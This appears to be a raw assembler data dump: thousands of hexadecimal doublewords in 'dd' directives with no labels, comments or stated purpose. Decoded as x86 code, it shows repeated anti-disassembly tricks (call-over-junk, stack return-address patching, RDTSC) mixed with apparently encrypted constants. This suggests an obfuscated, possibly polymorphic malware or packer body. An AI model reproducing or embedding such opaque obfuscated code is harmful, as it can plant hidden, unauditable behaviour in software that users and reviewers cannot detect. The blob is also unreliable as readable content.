dd 0FEBF0F05h, 5678B890h, 9D8D1234h, 5ECDA10h, 0FFF912E9h
dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 8B5BA0A1h, 0DE8166C1h, 4EB12C4h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 55C35242h
dd 0CAD91C5h, 8D5FF556h, 0E921E585h, 7DBD8905h, 5005E90Ch
dd 0C04F5CBEh, 2404890Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 35C35747h, 0AD19828Bh, 0C37E2B44h, 0F8006AD7h
dd 0BD0B006Ah, 5E91F4Dh, 9E8h, 2A2DE100h, 11B67F1Dh, 0BD0BDC0Eh
dd 5E900F9h, 0E3858D5Eh, 0E805ECDBh, 12h, 0A080C5BAh, 810E9CC0h
dd 95A09BCAh, 8608892Bh, 0BE90756h, 15000000h, 219BD1D0h
dd 0A33F5F77h, 835F3FDAh, 0D68105C0h, 6E0895B6h, 505E5290h
dd 9CBF6650h, 6A905F2Eh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0BB3EC351h, 639E8680h
dd 6AF18B66h, 8B006A00h, 0A195FFFEh, 6A05E90Ah, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 0BF4FC357h, 9D8D5461h, 5ECADBFh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 52C35545h, 0FF2BF0Fh, 0C82h
dd 68F0F00h, 89000000h, 0E924E1B5h, 6AD3FF05h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 0FF95C357h, 0E9068985h, 51006A05h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 424665B7h
dd 4761105Fh, 68A0Fh, 95010000h, 5E9060Dh, 0CB3E9h, 0E800h
dd 815D0000h, 0ECDBEDEDh, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0A02B465Ch
dd 18D50C45h, 4647E681h, 0BD817827h, 5E9243Dh, 7D0h, 10F860Fh
dd 0D2BE0000h, 8B635EE9h, 0E926BD9Dh, 51006A05h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 1860FE4h, 0FC000000h, 0DAD68151h, 5E203517h, 100E381h
dd 0BD8B0000h, 5E90789h, 850FDB0Bh, 0A1h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 17h, 50C35646h, 8307194Ch
dd 0ECDA47BDh, 840F0005h, 3Bh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 6BC35343h, 8C3FA23Dh, 18E7B741h
dd 3091BD8Bh, 8D8905E9h, 5E900F9h, 50E9h, 11B58900h, 0C705E92Eh
dd 0ECDA4785h, 105h, 0F2B70F00h, 38E9h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 6E93465h, 0D6000000h, 8DAB538Fh, 4785C741h, 5ECDAh
dd 89000000h, 0E91965B5h, 0BD9D8D05h, 8B05E926h, 0FF2381F0h
dd 8BFFFFFEh, 0E926B9BDh, 0DB8C6605h, 11E9h, 88280F00h
dd 6358150Eh, 60FC4D24h, 0ED165585h, 0C3F6D9E3h, 4D840F04h
dd 89000000h, 0E92881B5h, 0ED95FF05h, 9005E90Bh, 850Fh
dd 90500000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 0FDC35242h, 0FD4533ACh, 10E8h, 72E25100h, 0EB4883F0h
dd 0CFB3A0C9h, 0D50F1FEFh, 5EFA8B99h, 3D6E9h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 1DE3D1C8h, 3515DD7Eh, 0F5B58B29h, 0B005E917h, 70E6FC00h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0A8C35040h
dd 0B5339151h, 5E90D21h, 8D8971E4h, 5E90579h, 6AD8B60Fh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 0F20C355h, 485h, 0F28B5300h, 6BA5Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 892F1FC3h, 0E925B595h, 6AC38B05h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 242BC357h
dd 0DBBF6655h, 0FCBF665Dh, 4E8C1D8h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 4DC35747h, 0EA94D76Dh, 66FE7CE4h
dd 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 0B509BBC3h, 5E91CA1h, 0BF93D82Bh, 1188302Ah
dd 93FA8B50h, 243DB5FFh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 1ED797C3h, 0A485B9CCh
dd 0F5633BAEh, 1E9595FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0E46218C3h, 0F8B25D74h
dd 66F42F84h, 0B0D146BEh, 9BF5300h, 5F13955Fh, 6A70E6h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 71E46DC3h, 3129BF66h, 6E8h, 46729000h, 5EA98751h, 830F613Ch
dd 20Fh, 12840Fh, 0AE80000h, 71000000h, 0CD916568h, 0B3F9EB58h
dd 5E616036h, 0BAD8B60Fh, 6, 8238FDBEh, 0FC38B5Dh, 8Dh
dd 4E8C100h, 271BD8Bh, 0F76605E9h, 0F3D0BEE2h, 0D82B2FD5h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CC35545h
dd 713F3D56h, 0B04F2CF2h, 335BD8Bh, 6BBF05E9h, 0E95A47ADh
dd 7, 10921630h, 58C2979Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 28C35646h, 3EF09798h, 0C354A742h, 0FD82B25h
dd 16688h, 14E900h, 94E0000h, 0E32D105Bh, 636C9E99h, 9F389618h
dd 405BD92Fh, 7B940FFh, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8395C355h
dd 6A00C1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 236FBAC3h, 3BF6E414h, 860FD9h, 66000001h
dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 56FE96C3h, 0AA8A27AFh, 0BD032123h, 5E90D95h
dd 0F04C1F6h, 0A884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 68B72C9Ah, 0BED95FFh
dd 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 0F918CCC3h, 0CAF5E252h, 6A5B37h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 2EF45EC3h, 28379394h, 6AC32Bh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 0C6AAFFC3h, 0FDC8060h
dd 8343D61h, 860F0000h, 0Dh, 0F6BF0F53h, 25E95Eh, 0B70F0000h
dd 6AC08BF8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 0A77C351h, 8B1D814Bh, 6AD88BC3h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 6B03C352h, 0E456E5F4h, 893F6118h, 0E924AD9Dh
dd 4185C705h, 5305E90Eh, 8B794067h, 0E92781B5h, 81C08B05h
dd 0E9243DBDh, 7D005h, 1A850F00h, 0E9000000h, 0Ch, 0CDBCEF0h
dd 0C3813913h, 21523E80h, 243D85FFh, 8B6605E9h, 3DB5FFF3h
dd 0FF05E924h, 0E91E9595h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0D3150BEDh
dd 90F78B5Eh, 57006A40h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 560EAB3Eh, 8529503Fh, 5E93121h, 1F49BD83h
dd 0F0005E9h, 0C284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 754C6C61h, 3095BD83h
dd 0F0005E9h, 9684h, 880F6000h, 4, 3EEEBB66h, 4995FF61h
dd 2305E91Fh, 0E92DB5B5h, 0FC00B05h, 7684h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 44347EE2h, 9D89DC10h, 5E92651h, 6D8D8DF5h, 6A05E94Eh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0A169C356h, 5E535EC7h, 5B8h, 88E0F00h, 50000000h
dd 0A53EEF81h, 0FF5F61E7h, 0E1BD33E1h, 0F05E92Ah, 688h
dd 1B58B00h, 8305E923h, 0E92E25BDh, 840F0005h, 555h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 38C35646h, 0BA835ABCh
dd 8B5EE80Bh, 0E928EDBDh, 95BD8305h, 5E930h, 51F840Fh
dd 0B5890000h, 5E91935h, 0C858D8Dh, 858905E9h, 5E90905h
dd 7C8401C7h, 8B6644B2h, 0CB0181F2h, 6A1499CFh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0BBB2C352h, 94E4084h, 0E932158Dh, 441C705h, 0CE706B34h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DFC35141h
dd 0DEBD25B7h, 8B55FE07h, 0E928F5BDh, 55BD8905h, 8105E92Dh
dd 0D7100441h, 7E931D6h, 0F2000000h, 7FBB2B6Fh, 6A9484h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 97C35646h
dd 0F33D422Ch, 282A5613h, 0C85858Dh, 12E905E9h, 7C000000h
dd 143A2881h, 83A89E7Dh, 307459C0h, 855732F8h, 0F18B90B2h
dd 6A9050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 0EDDE23C3h, 0DED7811Bh, 0FF67F4CEh, 0E92E2595h
dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 7A041FBEh, 0F2B70F0Fh, 0C858D8Dh, 6A05E9h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 7A338BC3h, 4870Fh, 0BE660000h, 1C7C0D7h, 0
dd 5820Fh, 38BE0000h, 0F72B2A3h, 41C7F3B7h, 4, 0D7816600h
dd 0B53106E4h, 5E924ADh, 840FC00Bh, 76h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Bh, 0D1C35141h, 51467290h
dd 2970A987h, 0E913CDB5h, 6D8D8D05h, 6A05E94Eh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 0B878C355h, 5, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 35C35242h, 0A9C7421Eh, 0BF66E1FFh, 8D8D8909h, 5E90C85h
dd 13E9h, 68151E00h, 0D29C04E9h, 0A68EBD55h, 0AAF08318h
dd 7EEED8B1h, 727C01C7h, 8B6644AAh, 0CB0181FAh, 661499CFh
dd 41C7FA8Bh, 78753C04h, 0BEFA8BCEh, 44AA2E43h, 10044181h
dd 0F31D6D7h, 38Ah, 0F9B70F00h, 6A006Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 1F2C4C3h
dd 0D68110B4h, 788C5AF9h, 0C85858Dh, 6A05E9h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0C512B2C3h
dd 50517968h, 59B58BEAh, 0F805E924h, 2BE6690h, 0EEBF5043h
dd 9026194Ch, 810Fh, 8E90000h, 71000000h, 0C9A193DEh, 0FF02634Eh
dd 0E92E2595h, 0B1B58B05h, 8D05E926h, 0E90C858Dh, 0D5BD8905h
dd 0C705E930h, 1, 0EE900h, 75860000h, 5D4AF1C5h, 0F6688C38h
dd 8160D8E3h, 441C7h, 52000000h, 5FF8B70Fh, 840FC00Bh
dd 48h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
dd 0B4C35040h, 1C4FE862h, 0D5B58B1Ch, 8D05E917h, 0E94E6D8Dh
dd 0C1B58B05h, 6605E904h, 90DFCF81h, 5B8h, 0BDBD2300h
dd 0FF05E91Eh, 0F6B70FE1h, 0C858D8Dh, 6A05E9h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0E94814C3h, 0Fh, 8C5A9722h, 49B85E92h, 0F691CC76h, 0C7DBC82Ah
dd 0CA95A501h, 0CB018154h, 6A1499CFh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 1165C356h
dd 18874A03h, 668C29AAh, 0C73097BEh, 59690441h, 8166CE5Fh
dd 81E66EEEh, 0D7100441h, 0B96031D6h, 246D9358h, 81CA8057h
dd 0B58B615Bh, 5E91D61h, 0F78B006Ah, 86BA9BBEh, 85858D2Dh
dd 6A05E90Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 31E4C356h, 5DE8B81h, 13E950h
dd 15610000h, 76EDBBA1h, 855B3C88h, 0B9F54BFEh, 1F6C1A3Ch
dd 24048922h, 0AE8h, 0F50E2800h, 91666E8Eh, 66DED948h
dd 0FF5EF08Bh, 0E92E2595h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 8D8DF44Bh
dd 5E90C85h, 7BC68166h, 1C7AEh, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0D027C351h
dd 10FDBD29h, 0CF8105E9h, 5024250Eh, 441C7h, 89000000h
dd 0E91EC9BDh, 0FC00B05h, 7484h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 628077ACh
dd 0E05BD8Bh, 8D8D05E9h, 5E94E6Dh, 0DE8h, 6E6EC600h, 676FBE06h
dd 582490D3h, 0B85FC138h, 5, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 6DC35242h, 964442DDh, 3397E74Ch
dd 0E92F91B5h, 8BE1FF05h, 0E92B21BDh, 0E9CA0305h, 0FFFFF369h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B2C35545h
dd 0FE9C18Bh, 76000000h, 0DFB8A45Fh, 57BD7484h, 23096656h
dd 89602C8Eh, 0E90C05BDh, 259D2305h, 6105E90Ch, 4EBh, 0B58B0000h
dd 5E92375h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 60C35141h, 704C9951h, 0B0FEE8ABh, 6118589h, 858D05E9h
dd 5E921E5h, 800F52h, 5E000000h, 18C0Fh, 50F90000h, 489F78Bh
dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 69A70DA0h, 0DDA6CD3Fh, 6A338Dh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4CC35242h, 0D6E0AEBBh
dd 14E8h, 8FA09500h, 0ED6E177Dh, 47E12E6Bh, 0B4A933D0h
dd 0A6017478h, 5EF18B19h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 979828C3h, 0E9423EF0h
dd 0Fh, 9EE942E0h, 3084ABFCh, 83DF0DE8h, 660D9DE9h, 8D310EBEh
dd 0ECEAFC85h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 70DD7B08h, 66405F32h
dd 83AE75BEh, 0BD8905C0h, 5E90479h, 0AE850h, 5EA40000h
dd 578C159Ah, 0DB13866Fh, 0AE9h, 0F8DAC200h, 7F571Ch, 5E05074Bh
dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 171FC351h, 0D586D9E0h, 0DEF1F1DAh
dd 31F1B58Bh, 6A05E9h, 2A39B58Bh, 6A05E9h, 7DBE6657h, 95FF5E7Ah
dd 5E90AA1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 45C35040h, 0BD8970B2h, 5E91F05h, 0ADBF9D8Dh, 6A05ECh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 26FCABC3h, 104DB58Bh, 0D3FF05E9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0B7C35343h, 772C5Ah, 0BDA6AD13h
dd 2E05BD09h, 0B58B05E9h, 5E91C99h, 68985FFh, 6A05E9h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 999C21C3h, 8B66D7A1h, 6830FF0h, 89000000h, 0E919498Dh
dd 8E5E905h, 0E80000h, 5D000000h, 0EB06ED81h, 0CEBE05ECh
dd 8163A251h, 0E9243DBDh, 7D005h, 53860F00h, 6A000001h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 7A4C350h, 85BD8914h, 8B05E931h, 0E901E59Dh
dd 0E38105h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0D6CBC355h, 3820F81h
dd 66000000h, 0DB0BF78Bh, 78850Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3BCC40C3h
dd 0B685E3F9h, 0BD838C1Fh, 5ECE8C1h, 0B840F00h, 66000000h
dd 66E9F38Bh, 66000000h, 85C7F78Bh, 5ECE8C1h, 1, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h, 4A072A2Fh
dd 5CCD6D93h, 0E9F28B66h, 2Dh, 19DBD01h, 85C705E9h, 5ECE8C1h
dd 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 83C35646h
dd 0E59D8DA3h, 6A05E901h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 905DC356h, 0D2F0BBCEh
dd 0BE42BD41h, 152BA67Fh, 31B5B503h, 238105E9h, 0FFFFFEFFh
dd 0EE8h, 5F986000h, 0C9BD1E56h, 9BD78A12h, 817475FFh
dd 4DFEED6h, 8C665E6Fh, 0ADB58BDBh, 0F605E90Ah, 840F04C3h
dd 47h, 0BED95FFh, 6A05E9h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 0BFA1F1C3h, 0D3D15803h
dd 0B5038FDAh, 5E93075h, 0F78B6690h, 8B0F50h, 90000000h
dd 0EF86C681h, 81663DB6h, 0E92966E6h, 399h, 22AD8501h
dd 853105E9h, 5E90919h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 0C96090C3h, 2970E69Fh
dd 0E90DC185h, 6A71E405h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 0E2BEC350h, 0A6293429h
dd 0B60F1CB1h, 48EDBED8h, 6BA41E9h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 6EF4C351h, 91062B2Ch, 0F6B70FE8h, 870Fh, 0C38B0000h
dd 0C1F28B66h, 13E904E8h, 0B8000000h, 2B6499B9h, 3710A5DEh
dd 0F0A9071Fh, 7B293350h, 0F766B30Ch, 0F99D29E2h, 2B05E92Bh
dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 15B58B7Dh, 0F05E932h, 87h, 0F3B70F00h, 0C916BE50h
dd 1C8953DBh, 71B58924h, 0FF05E912h, 0E9243DB5h, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0B2C4A46Bh, 0F1B70F57h, 9595FF5Eh, 6605E91Eh, 2B60C681h
dd 4BE00B0h, 0E67DAB57h, 50006A70h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 909A6B59h, 0B58BD405h
dd 5E904CDh, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 4A0F0EC3h, 51B53160h, 8B05E905h
dd 0E9022195h, 0F08B6105h, 830F613Ch, 205h, 7F3B38BEh
dd 0D8B60F5Bh, 9CE8166h, 6BA9Bh, 860F0000h, 0
dd 0C38BF38Bh, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 9B14C352h, 0F31F11Ah
dd 58Ch, 5A27BE00h, 0DE81766Dh, 64E3CB45h, 6AE2F766h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0A704C356h, 6AD82BF6h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 0DC1CC350h, 8166B72Dh
dd 583C00F6h, 880FD82Bh, 165h, 0F1858960h, 8005E905h, 0B9617ECEh
dd 7, 0B4D8529h, 0C18305E9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 95BFA3D2h
dd 667D8FA0h, 5964F681h, 860FD93Bh, 11Dh, 25559D89h, 8C6605E9h
dd 8E9D9h, 0C3DB0000h, 0C9C66D62h, 0C1F69E75h, 0D9840F04h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 0FFACC352h, 4A0BEC1Ch, 0BED95FFh
dd 950905E9h, 5E91061h, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 899D50Fh, 0C3C68166h
dd 4BE66F0h, 6AC32B95h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 88CCC352h, 0F509CA2h
dd 0ACD17B7Ch, 8529F28Bh, 5E92D09h, 8343Dh, 49860F00h
dd 60000000h, 0AE8h, 1B47A200h, 0C77D3FD9h, 8B1C15EAh
dd 0E9615BCEh, 55h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 6CC35545h, 0F6F746Eh, 689h, 4DBD8900h
dd 6605E926h, 0C9B7C681h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 0A46055C3h, 0E8C68A9Bh
dd 8BC38B33h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 0BD85C749h, 7305E926h, 8B118D15h
dd 0E90D9DB5h, 6AC08B05h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 699FC350h, 0A9EB6847h
dd 0F88D5BCh, 68Eh, 0A9B58900h, 8B05E90Bh, 47BABEF3h, 0BD814B22h
dd 5E9243Dh, 7D0h, 22850Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 85FF73C3h
dd 5E9243Dh, 243DB5FFh, 0BF0F05E9h, 9595FFF2h, 6A05E91Eh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 4B64C353h, 31CDE04Bh, 81609188h, 392EE3D1h
dd 2D958934h, 6105E912h, 6AD88B90h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 2410C357h
dd 0B18589D8h, 8305E905h, 0E91EDDBDh, 840F0005h, 4Fh, 68A0F60h
dd 29000000h, 0E90B6995h, 0F3816605h, 0E9612C7Ah, 13h
dd 0EAB0344Ah, 419E3468h, 2EB18851h, 0F6F79B8Fh, 0E9E45800h
dd 210h, 0FE8h, 87E26400h, 910CC1A0h, 658103B6h, 71E0FFA0h
dd 4820Fh, 0BE660000h, 8C5E799Eh, 0F28B66DFh, 4C7F766h
dd 0E1850F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0AAFFC355h, 295D08C6h
dd 0E90F21B5h, 0FFF2B05h, 683h, 55B52300h, 8D05E918h, 0ECF36C9Dh
dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0AE4AB809h, 407212C1h, 60501D6Ch, 14E9h
dd 213B5400h, 0D05F0217h, 0D284BD3Bh, 8D2D028Dh, 2682E603h
dd 0BBE66D6h, 1C89611Ah, 51006A24h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 35FF645Eh, 0
dd 32858D89h, 896405E9h, 25h, 8BF78B00h, 55006AC4h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 56BCD408h, 0BE66CBADh, 8B666019h, 0EB01CDF7h, 0B523F800h
dd 5E91649h, 0F96ACBBEh, 7E918h, 48880000h, 714AFD76h
dd 58F6417h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 77C35242h
dd 0E9F09F73h, 12h, 92E1F3CBh, 25326681h, 1EE1C7CAh, 78D38F56h
dd 0C483EF0Dh, 0F08B6604h, 0E8EEC681h, 0C00B7B07h, 96840Fh
dd 0BD8D0000h, 5E94E6Dh, 3A9B529h, 5B805E9h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 0C94EC352h, 888EE78Dh, 8589D024h, 5E92831h
dd 0E01DDE81h, 0E7FF58E7h, 71D3C8BEh, 5C8B5736h, 838B1024h
dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h
dd 6AC3C033h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 666EC350h, 0B433C681h, 8BF3B70Fh
dd 0E91D15B5h, 0F2BF0F05h, 3FE9CA2Bh, 6AFFFFF7h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0C206C356h, 0CCF681EDh, 8B74188Ch, 218509C1h, 0EB05E90Ch
dd 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 54F50C65h, 5C6842D9h, 0BD8BC80Fh
dd 5E90DF9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 66C35343h, 913BE487h, 8DFC37CBh, 0E921E585h, 0FDB58905h
dd 0F905E932h, 6E890h, 34E80000h, 0ED6DB31Eh, 52505250h
dd 585A310Fh, 8B66310Fh, 5E585AF7h, 1BA2BE50h, 0F8903F5Dh
dd 0BD8B006Ah, 5E92519h, 0BD8B006Ah, 5E91221h, 0F4D4858Dh
dd 0C08305ECh, 0F19D8905h, 9005E924h, 9050F28Bh, 5E9006Ah
dd 0E9000000h, 0CD4F7FACh, 95FF006Ah, 5E90AA1h, 0AE9h
dd 57E78C00h, 60295660h, 8D4B9328h, 0ECADBF9Dh, 0F28B6605h
dd 0FD8CE681h, 0D3FF72CAh, 0FFF9BF0Fh, 0E9068985h, 923E905h
dd 0E80000h, 5D000000h, 0F4DEED81h, 0C68105ECh, 7D30A62Ah
dd 243DBD81h, 7D005E9h, 860F0000h, 137h, 253D8D89h, 9D8B05E9h
dd 5E91079h, 81F2BF0Fh, 100E3h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0C8539E36h
dd 0BFB8B66h, 9E850FDBh, 8B000000h, 0E91119B5h, 0F0BD8305h
dd 5ECF3h, 33840Fh, 33600000h, 0E90CCD8Dh, 5E905h, 25090000h
dd 6155251Fh, 95E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 0F085C705h, 105ECF3h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 6424C350h, 0E1B53314h, 0E905E917h
dd 46h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
dd 53C35141h, 0F0D8D3EFh, 705BA9h, 0F085C712h, 5ECF3h
dd 0E8000000h, 9, 0E194C4D6h, 4EF7836Dh, 0B5335281h, 5E91D95h
dd 9D8D5F5Eh, 5E91079h, 193D8D89h, 238105E9h, 0FFFFFEFFh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 60C35343h
dd 83397522h, 0EDBD8BA3h, 6605E900h, 6ADB8Ch, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 508963C3h
dd 3FCE8172h, 0F6174029h, 840F04C3h, 53h, 0E1C35CBEh, 0ED95FF61h
dd 6005E90Bh, 2DF9BD8Bh, 0BD8B05E9h, 5E907BDh, 0F9BF0F61h
dd 0F525090h, 488h, 13BF6600h, 66310F4Fh, 5AF917BFh, 5F575058h
dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 0E9F84232h, 526h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 40C35040h, 87F8F32h, 7E9h
